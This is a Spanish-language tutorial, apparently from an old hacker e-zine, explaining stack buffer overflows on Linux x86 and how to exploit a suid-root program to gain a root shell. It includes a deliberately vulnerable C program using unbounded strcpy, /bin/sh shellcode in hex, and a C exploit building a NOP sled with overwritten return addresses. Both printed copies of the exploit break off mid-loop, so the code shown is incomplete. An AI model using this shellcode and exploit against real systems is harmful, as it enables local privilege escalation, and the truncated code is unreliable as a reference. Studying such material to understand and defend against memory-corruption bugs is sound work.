____________________________________________ | | | Desbordamiento de la pila | | | -------------------------------------------- Holass. En este texto voy a intentar explicar lo que es un desbordamiento de la pila, mas conocido como stack buffer overflow, y como funciona a grandes rasgos un xploit. Lo primero de todo decir que este texto no pretende ser una guia para hacer xploits ni nada parecido, ya que es posible que yo aun tenga algun que otro concepto erroneo, asi que si meto algun que otro gambazo espero que no me tireis tomates ;). Bueno, como muchos sabreis unos de los problemas de los sistemas operativos multiusuario es que para ejecutar ciertas acciones necesitas tener privilegios de root. Por ejemplo para cambiar tu password, ya que tu no tienes los sufi- cientes privilegios para editar y modificar el fichero /etc/passwd. Entonces lo que suele hacerse en poner el programa (passwd en este caso) con suid de root, de tal forma que al hacer un ls -l saldria algo como: -rwsr-xr-x 1 root root 44705 Jul 1 00:49 /usr/bin/passwd Asi cuando un usuario cualquiera ejecute el programa passwd, su uid y gid seran cambiados momentaneamente al del root para poder modificar el ficheros de pass- wd, y cuando finalice el programa volveran a cambiar a tu uid y gid normal. El problema empieza cuando el programa con suid de root copia datos a buffers sin un limite en el numero de caracteres a copiar, ya que copiando mas datos de los debidos al buffer podemos sobreescribir partes importantes de la pila y ejecu- tar codigo arbitrario. Pongamos por ejemplo este sencillo programa: (simple.c) #include main(int argc,char *argv[]) { char s[1024]; strcpy(s,argv[1]); } Lo unico que hace es cojer de la orden de comandos las opciones (argv[1]) y co- piarlo al buffer s de 1024 caracteres. Aqui no se hace comprobaciones de la cantidad de caracteres a copiar en s, por lo tanto nada nos impide copiar mas de 1024 caracteres. Para hacer pruebas y si tienes instalado el perl, lo mejor es usar algo como `perl -e 'print "A" x 400;'`. Por ejemplo ejecutamos ./simple `perl -e 'print "A" x 400;'`, y no pasa nada. Pero ejecutamos ./simple `perl -e 'print "A" x 1200;'` y tenemos un Segmentation fault, pq?. Para entenderlo te- nemos que hechar una vistazo a como se guardan las variables locales en la pi- la. Para ser exactos el aspecto de la pila despues de haber ejecutado el pro- grama simple seria algo como: +-------------+ -1024(%ebp) | 1024 bytes | -> variable s +-------------+ 0(%ebp) | ebp | -> posicion actual de la pila +-------------+ 4(%ebp) | ret addr | -> direccion de retorno +-------------+ 8(%ebp) | argc | +-------------+ 12(%ebp) | argv | +-------------+ 16(%ebp) | envp | +-------------+ Lo que mas nos interesa es la direccion de retorno. La posicion actual de la pila y la direccion de retorno tienen un tamaño de 4 bytes cada uno. Los nu- meros que aparecen (0,4,8,12,16) son la distancia al puntero base (ebp, o po- sicion actual de la pila). Asi, al principio de la variable s habra unos 1024 bytes hasta el ebp (justo el tamaño de la variable). La posicion de retorno contiene la direccion a la que saltara el programa cuando finalice su ejecu- cion. Pues bien, lo que hacemos al ejecutar ./simple `perl -e 'print "A" x 1200;'`, es sobreescribir el ebp y la direccion de retorno con el caracter A, asi cuando finaliza el programa el sistema salta a la direccion de retorno 0x41414141, (A en hex es 0x41), y al no haber codigo ejecutable en esa direccion el sis- tema hace un Segmentation fault. Ahora lo interesante seria que pudieramos so- breescribir la direccion de retorno a una direccion donde hubieramos puesto un codigo ejecutable (que ejecute una shell por ejemplo). Para ello lo que se hace es copiar ese codigo en la propia variable s. Vamos a ver..tenemos la variable s, como hacemos para copiar un codigo que eje- cute una shell? Pues bien, por ahi andan rulando codigos en ensamblador para todos los sos que ejecutan una shell, normalmente /bin/sh. Para linux y un pro- cesador intel o compatible seria algo como: char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; Hay que tener en cuenta que cuanto menor sea el codigo mejor, ya que si el bu- ffer a sobreescribir es pequeño no nos entraria en la variable. Bueno, pues explicado asi por encima lo que se hace es llenar la variable s de tal forma que quedaria algo como: [NOP-NOP-NOP-NOP(muchos nops)-execshell]. Todo esto seria en los 1024 by- tes que ocupa s. Lo de los nops se hace pq al sobreescribir la direccion de retorno en la pila seria muy complicado hacerlo para que saltara justo al co- mienzo del execshell, entonces lo que se hace es que salte a un nop (mucho mas facil al haber tantos) y que vaya bajando hasta que ejecute la shell. Despues de el execshell es cuando hay que sobreescribir la direccion de retorno. Si hechais un vistazo al cuadro de antes de la pila vereis que s estaba a -1024 bytes del ebp, por lo tanto estara a -1028 bytes de la direccion de retorno. Entonces si a la direccion del ebp le restamos unos 1000 bytes por ejemplo, lo mas probable es que esa direccion pertenezca a un nop (ya que los nops estan en la variable s). Esto no lo tengo yo muy claro, ya que no se si el contenido del ebp ya es la direccion de la variable s (el comienzo de la pila) o por el con- trario es la direccion del propio ebp y hace falta restarle los 1000 bytes. En todo caso hecharle las culpas a dark_fear por meterme tanta prisa para el arti- culo XD. Y todas formas luego veremos que el xploit para el programa simple fun- ciona de las dos formas, restandole los 1000 bytes o no. Bueno, y despues de todo este rollo la forma del buffer seria algo como: [NOP-NOP-NOP-NOP(muchos nops)-execshell-direccion de retorno]. Y al copiar todo esto con el strcpy sobreescribiriamos la direccion de retorno apuntando a un nop, iria bajando y ejecutaria una shell, que al estar suid root el programa seria una shell de root (por fin!). A todo esto lo de los offsets por si hay mas variables en la pila lo dejo para otro articulo ;). Ahora vamos a ver el xploit para el programa simple (debe estar suid root). Empecemos.. #include char buffer[1040]; int i; char *ptr; unsigned long *ptr2; Aqui se declara el buffer total, 1040 bytes, ya que escribiremos la direccion de retorno unas cuantas veces. Si os habeis fijado el buffer deberia ser de 1032 (1024+8), pero lo hacemos de 1040 para escribir la direccion de retorno 4 veces en vez de 2 y ser mas efectivo. Luego declara un puntero de tipo char (ptr) y otro de tipo long para la direccion de retorno (ptr2), bueno y i de tipo entero. main() { long get_sp(void) { __asm__("movl %esp,%eax\n"); } char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; Aqui se declara la funcion que usaremos para conseguir la direccion de retorno, la funcion consigue el ebp, y declaramos el codigo que ejecuta una shell como un array de caracteres. for(i=0;i<1040;i++) buffer[i]=0x00; ptr=buffer; Llenamos los 1040 bytes del buffer como 0x00, esto tp es muy necesario pero queda bien :). Y hacemos que ptr apunte a buffer. for(i=0;i<1024-strlen(execshell);i++) *(ptr++)=0x90; for(i=0;i char buffer[1040]; int i; char *ptr; unsigned long *ptr2; main() { long get_sp(void) { __asm__("movl %esp,%eax\n"); } char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; for(i=0;i<1040;i++) buffer[i]=0x00; ptr=buffer; for(i=0;i<1024-strlen(execshell);i++) *(ptr++)=0x90; for(i=0;i